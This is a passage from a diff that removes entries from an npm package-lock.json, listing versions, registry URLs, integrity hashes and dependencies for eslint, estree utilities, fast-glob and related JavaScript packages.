- "integrity": "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw==",
- "dependencies": {
- "hasown": "^2.0.0"
- }
- },
- "node_modules/es-to-primitive": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",
- "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",
- "dependencies": {
- "is-callable": "^1.2.7",
- "is-date-object": "^1.0.5",
- "is-symbol": "^1.0.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/esast-util-from-estree": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/esast-util-from-estree/-/esast-util-from-estree-2.0.0.tgz",
- "integrity": "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "devlop": "^1.0.0",
- "estree-util-visit": "^2.0.0",
- "unist-util-position-from-estree": "^2.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/esast-util-from-js": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/esast-util-from-js/-/esast-util-from-js-2.0.1.tgz",
- "integrity": "sha512-8Ja+rNJ0Lt56Pcf3TAmpBZjmx8ZcK5Ts4cAzIOjsjevg9oSXJnl6SUQ2EevU8tv3h6ZLWmoKL5H4fgWvdvfETw==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "acorn": "^8.0.0",
- "esast-util-from-estree": "^2.0.0",
- "vfile-message": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/escalade": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
- "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/escape-string-regexp": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
- "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/eslint": {
- "version": "8.49.0",
- "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.49.0.tgz",
- "integrity": "sha512-jw03ENfm6VJI0jA9U+8H5zfl5b+FvuU3YYvZRdZHOlU2ggJkxrlkJH4HcDrZpj6YwD8kuYqvQM8LyesoazrSOQ==",
- "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
- "dependencies": {
- "@eslint-community/eslint-utils": "^4.2.0",
- "@eslint-community/regexpp": "^4.6.1",
- "@eslint/eslintrc": "^2.1.2",
- "@eslint/js": "8.49.0",
- "@humanwhocodes/config-array": "^0.11.11",
- "@humanwhocodes/module-importer": "^1.0.1",
- "@nodelib/fs.walk": "^1.2.8",
- "ajv": "^6.12.4",
- "chalk": "^4.0.0",
- "cross-spawn": "^7.0.2",
- "debug": "^4.3.2",
- "doctrine": "^3.0.0",
- "escape-string-regexp": "^4.0.0",
- "eslint-scope": "^7.2.2",
- "eslint-visitor-keys": "^3.4.3",
- "espree": "^9.6.1",
- "esquery": "^1.4.2",
- "esutils": "^2.0.2",
- "fast-deep-equal": "^3.1.3",
- "file-entry-cache": "^6.0.1",
- "find-up": "^5.0.0",
- "glob-parent": "^6.0.2",
- "globals": "^13.19.0",
- "graphemer": "^1.4.0",
- "ignore": "^5.2.0",
- "imurmurhash": "^0.1.4",
- "is-glob": "^4.0.0",
- "is-path-inside": "^3.0.3",
- "js-yaml": "^4.1.0",
- "json-stable-stringify-without-jsonify": "^1.0.1",
- "levn": "^0.4.1",
- "lodash.merge": "^4.6.2",
- "minimatch": "^3.1.2",
- "natural-compare": "^1.4.0",
- "optionator": "^0.9.3",
- "strip-ansi": "^6.0.1",
- "text-table": "^0.2.0"
- },
- "bin": {
- "eslint": "bin/eslint.js"
- },
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/eslint-config-next": {
- "version": "13.5.1",
- "resolved": "https://registry.npmjs.org/eslint-config-next/-/eslint-config-next-13.5.1.tgz",
- "integrity": "sha512-+8xIIWtD+iFwHfXgmXRGn05BuNIu/RAGcz6kI4wsJTPrE/1WtWKv2o0l+GbQ6wRaC+cbBV8+QnFAOf18aJiWrg==",
- "dependencies": {
- "@next/eslint-plugin-next": "13.5.1",
- "@rushstack/eslint-patch": "^1.3.3",
- "@typescript-eslint/parser": "^5.4.2 || ^6.0.0",
- "eslint-import-resolver-node": "^0.3.6",
- "eslint-import-resolver-typescript": "^3.5.2",
- "eslint-plugin-import": "^2.28.1",
- "eslint-plugin-jsx-a11y": "^6.7.1",
- "eslint-plugin-react": "^7.33.2",
- "eslint-plugin-react-hooks": "^4.5.0 || 5.0.0-canary-7118f5dd7-20230705"
- },
- "peerDependencies": {
- "eslint": "^7.23.0 || ^8.0.0",
- "typescript": ">=3.3.1"
- },
- "peerDependenciesMeta": {
- "typescript": {
- "optional": true
- }
- }
- },
- "node_modules/eslint-config-next/node_modules/eslint-import-resolver-typescript": {
- "version": "3.7.0",
- "resolved": "https://registry.npmjs.org/eslint-import-resolver-typescript/-/eslint-import-resolver-typescript-3.7.0.tgz",
- "integrity": "sha512-Vrwyi8HHxY97K5ebydMtffsWAn1SCR9eol49eCd5fJS4O1WV7PaAjbcjmbfJJSMz/t4Mal212Uz/fQZrOB8mow==",
- "dependencies": {
- "@nolyfill/is-core-module": "1.0.39",
- "debug": "^4.3.7",
- "enhanced-resolve": "^5.15.0",
- "fast-glob": "^3.3.2",
- "get-tsconfig": "^4.7.5",
- "is-bun-module": "^1.0.2",
- "is-glob": "^4.0.3",
- "stable-hash": "^0.0.4"
- },
- "engines": {
- "node": "^14.18.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/unts/projects/eslint-import-resolver-ts"
- },
- "peerDependencies": {
- "eslint": "*",
- "eslint-plugin-import": "*",
- "eslint-plugin-import-x": "*"
- },
- "peerDependenciesMeta": {
- "eslint-plugin-import": {
- "optional": true
- },
- "eslint-plugin-import-x": {
- "optional": true
- }
- }
- },
- "node_modules/eslint-config-prettier": {
- "version": "10.0.1",
- "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.0.1.tgz",
- "integrity": "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw==",
- "dev": true,
- "bin": {
- "eslint-config-prettier": "build/bin/cli.js"
- },
- "peerDependencies": {
- "eslint": ">=7.0.0"
- }
- },
- "node_modules/eslint-import-resolver-node": {
- "version": "0.3.9",
- "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz",
- "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==",
- "dependencies": {
- "debug": "^3.2.7",
- "is-core-module": "^2.13.0",
- "resolve": "^1.22.4"
- }
- },
- "node_modules/eslint-import-resolver-node/node_modules/debug": {
- "version": "3.2.7",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
- "dependencies": {
- "ms": "^2.1.1"
- }
- },
- "node_modules/eslint-module-utils": {
- "version": "2.12.0",
- "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.0.tgz",
- "integrity": "sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg==",
- "dependencies": {
- "debug": "^3.2.7"
- },
- "engines": {
- "node": ">=4"
- },
- "peerDependenciesMeta": {
- "eslint": {
- "optional": true
- }
- }
- },
- "node_modules/eslint-module-utils/node_modules/debug": {
- "version": "3.2.7",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
- "dependencies": {
- "ms": "^2.1.1"
- }
- },
- "node_modules/eslint-plugin-import": {
- "version": "2.31.0",
- "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.31.0.tgz",
- "integrity": "sha512-ixmkI62Rbc2/w8Vfxyh1jQRTdRTF52VxwRVHl/ykPAmqG+Nb7/kNn+byLP0LxPgI7zWA16Jt82SybJInmMia3A==",
- "dependencies": {
- "@rtsao/scc": "^1.1.0",
- "array-includes": "^3.1.8",
- "array.prototype.findlastindex": "^1.2.5",
- "array.prototype.flat": "^1.3.2",
- "array.prototype.flatmap": "^1.3.2",
- "debug": "^3.2.7",
- "doctrine": "^2.1.0",
- "eslint-import-resolver-node": "^0.3.9",
- "eslint-module-utils": "^2.12.0",
- "hasown": "^2.0.2",
- "is-core-module": "^2.15.1",
- "is-glob": "^4.0.3",
- "minimatch": "^3.1.2",
- "object.fromentries": "^2.0.8",
- "object.groupby": "^1.0.3",
- "object.values": "^1.2.0",
- "semver": "^6.3.1",
- "string.prototype.trimend": "^1.0.8",
- "tsconfig-paths": "^3.15.0"
- },
- "engines": {
- "node": ">=4"
- },
- "peerDependencies": {
- "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9"
- }
- },
- "node_modules/eslint-plugin-import/node_modules/debug": {
- "version": "3.2.7",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
- "dependencies": {
- "ms": "^2.1.1"
- }
- },
- "node_modules/eslint-plugin-import/node_modules/doctrine": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
- "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
- "dependencies": {
- "esutils": "^2.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/eslint-plugin-import/node_modules/semver": {
- "version": "6.3.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
- "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
- "bin": {
- "semver": "bin/semver.js"
- }
- },
- "node_modules/eslint-plugin-jsx-a11y": {
- "version": "6.10.2",
- "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz",
- "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==",
- "dependencies": {
- "aria-query": "^5.3.2",
- "array-includes": "^3.1.8",
- "array.prototype.flatmap": "^1.3.2",
- "ast-types-flow": "^0.0.8",
- "axe-core": "^4.10.0",
- "axobject-query": "^4.1.0",
- "damerau-levenshtein": "^1.0.8",
- "emoji-regex": "^9.2.2",
- "hasown": "^2.0.2",
- "jsx-ast-utils": "^3.3.5",
- "language-tags": "^1.0.9",
- "minimatch": "^3.1.2",
- "object.fromentries": "^2.0.8",
- "safe-regex-test": "^1.0.3",
- "string.prototype.includes": "^2.0.1"
- },
- "engines": {
- "node": ">=4.0"
- },
- "peerDependencies": {
- "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9"
- }
- },
- "node_modules/eslint-plugin-react": {
- "version": "7.37.2",
- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.2.tgz",
- "integrity": "sha512-EsTAnj9fLVr/GZleBLFbj/sSuXeWmp1eXIN60ceYnZveqEaUCyW4X+Vh4WTdUhCkW4xutXYqTXCUSyqD4rB75w==",
- "dependencies": {
- "array-includes": "^3.1.8",
- "array.prototype.findlast": "^1.2.5",
- "array.prototype.flatmap": "^1.3.2",
- "array.prototype.tosorted": "^1.1.4",
- "doctrine": "^2.1.0",
- "es-iterator-helpers": "^1.1.0",
- "estraverse": "^5.3.0",
- "hasown": "^2.0.2",
- "jsx-ast-utils": "^2.4.1 || ^3.0.0",
- "minimatch": "^3.1.2",
- "object.entries": "^1.1.8",
- "object.fromentries": "^2.0.8",
- "object.values": "^1.2.0",
- "prop-types": "^15.8.1",
- "resolve": "^2.0.0-next.5",
- "semver": "^6.3.1",
- "string.prototype.matchall": "^4.0.11",
- "string.prototype.repeat": "^1.0.0"
- },
- "engines": {
- "node": ">=4"
- },
- "peerDependencies": {
- "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7"
- }
- },
- "node_modules/eslint-plugin-react-hooks": {
- "version": "4.6.2",
- "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.2.tgz",
- "integrity": "sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==",
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0"
- }
- },
- "node_modules/eslint-plugin-react/node_modules/doctrine": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
- "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
- "dependencies": {
- "esutils": "^2.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/eslint-plugin-react/node_modules/resolve": {
- "version": "2.0.0-next.5",
- "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz",
- "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==",
- "dependencies": {
- "is-core-module": "^2.13.0",
- "path-parse": "^1.0.7",
- "supports-preserve-symlinks-flag": "^1.0.0"
- },
- "bin": {
- "resolve": "bin/resolve"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/eslint-plugin-react/node_modules/semver": {
- "version": "6.3.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
- "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
- "bin": {
- "semver": "bin/semver.js"
- }
- },
- "node_modules/eslint-scope": {
- "version": "7.2.2",
- "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz",
- "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==",
- "dependencies": {
- "esrecurse": "^4.3.0",
- "estraverse": "^5.2.0"
- },
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/eslint-visitor-keys": {
- "version": "3.4.3",
- "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
- "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==",
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/espree": {
- "version": "9.6.1",
- "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
- "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==",
- "dependencies": {
- "acorn": "^8.9.0",
- "acorn-jsx": "^5.3.2",
- "eslint-visitor-keys": "^3.4.1"
- },
- "engines": {
- "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/eslint"
- }
- },
- "node_modules/esquery": {
- "version": "1.6.0",
- "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz",
- "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==",
- "dependencies": {
- "estraverse": "^5.1.0"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/esrecurse": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
- "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
- "dependencies": {
- "estraverse": "^5.2.0"
- },
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/estraverse": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
- "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/estree-util-attach-comments": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/estree-util-attach-comments/-/estree-util-attach-comments-3.0.0.tgz",
- "integrity": "sha512-cKUwm/HUcTDsYh/9FgnuFqpfquUbwIqwKM26BVCGDPVgvaCl/nDCCjUfiLlx6lsEZ3Z4RFxNbOQ60pkaEwFxGw==",
- "dependencies": {
- "@types/estree": "^1.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/estree-util-build-jsx": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/estree-util-build-jsx/-/estree-util-build-jsx-3.0.1.tgz",
- "integrity": "sha512-8U5eiL6BTrPxp/CHbs2yMgP8ftMhR5ww1eIKoWRMlqvltHF8fZn5LRDvTKuxD3DUn+shRbLGqXemcP51oFCsGQ==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "devlop": "^1.0.0",
- "estree-util-is-identifier-name": "^3.0.0",
- "estree-walker": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/estree-util-is-identifier-name": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz",
- "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==",
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/estree-util-scope": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/estree-util-scope/-/estree-util-scope-1.0.0.tgz",
- "integrity": "sha512-2CAASclonf+JFWBNJPndcOpA8EMJwa0Q8LUFJEKqXLW6+qBvbFZuF5gItbQOs/umBUkjviCSDCbBwU2cXbmrhQ==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "devlop": "^1.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/estree-util-to-js": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/estree-util-to-js/-/estree-util-to-js-2.0.0.tgz",
- "integrity": "sha512-WDF+xj5rRWmD5tj6bIqRi6CkLIXbbNQUcxQHzGysQzvHmdYG2G7p/Tf0J0gpxGgkeMZNTIjT/AoSvC9Xehcgdg==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "astring": "^1.8.0",
- "source-map": "^0.7.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/estree-util-visit": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/estree-util-visit/-/estree-util-visit-2.0.0.tgz",
- "integrity": "sha512-m5KgiH85xAhhW8Wta0vShLcUvOsh3LLPI2YVwcbio1l7E09NTLL1EyMZFM1OyWowoH0skScNbhOPl4kcBgzTww==",
- "dependencies": {
- "@types/estree-jsx": "^1.0.0",
- "@types/unist": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/estree-walker": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
- "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
- "dependencies": {
- "@types/estree": "^1.0.0"
- }
- },
- "node_modules/esutils": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
- "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/eventemitter3": {
- "version": "4.0.7",
- "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz",
- "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw=="
- },
- "node_modules/extend": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
- "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
- },
- "node_modules/fast-deep-equal": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
- "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="
- },
- "node_modules/fast-equals": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.0.1.tgz",
- "integrity": "sha512-WF1Wi8PwwSY7/6Kx0vKXtw8RwuSGoM1bvDaJbu7MxDlR1vovZjIAKrnzyrThgAjm6JDTu0fVgWXDlMGspodfoQ==",
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/fast-glob": {
- "version": "3.3.2",
- "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz",
- "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==",
- "dependencies": {
- "@nodelib/fs.stat": "^2.0.2",
- "@nodelib/fs.walk": "^1.2.3",
- "glob-parent": "^5.1.2",
- "merge2": "^1.3.0",
- "micromatch": "^4.0.4"
- },
- "engines": {
- "node": ">=8.6.0"
- }
- },
- "node_modules/fast-glob/node_modules/glob-parent": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
- "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/fast-json-patch": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.1.tgz",
- "integrity": "sha512-vf6IHUX2SBcA+5/+4883dsIjpBTqmfBjmYiWK1savxQmFk4JfBMLa7ynTYOs1Rolp/T1betJxHiGD3g1Mn8lUQ==",
- "license": "MIT"
- },
- "node_modules/fast-json-stable-stringify": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
- "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
- },
- "node_modules/fast-levenshtein": {
- "version": "2.0.6",
- "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
- "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="
- },
- "node_modules/fastq": {
- "version": "1.17.1",
- "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz",
- "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==",
- "dependencies": {
- "reusify": "^1.0.4"
- }
- },
- "node_modules/fault": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/fault/-/fault-1.0.4.tgz",
- "integrity": "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA==",
- "dependencies": {
- "format": "^0.2.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/file-entry-cache": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
- "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
- "dependencies": {
- "flat-cache": "^3.0.4"
- },
- "engines": {
- "node": "^10.12.0 || >=12.0.0"
- }
- },
- "node_modules/fill-range": {
- "version": "7.1.1",
- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
- "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
- "dependencies": {
- "to-regex-range": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/find-up": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
- "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
- "dependencies": {
- "locate-path": "^6.0.0",
- "path-exists": "^4.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/flat-cache": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz",
- "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==",
- "dependencies": {
- "flatted": "^3.2.9",
- "keyv": "^4.5.3",
- "rimraf": "^3.0.2"
- },
- "engines": {
- "node": "^10.12.0 || >=12.0.0"
- }
- },
- "node_modules/flatted": {
- "version": "3.3.2",
- "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.2.tgz",
- "integrity": "sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA=="
- },
- "node_modules/follow-redirects": {
- "version": "1.15.9",
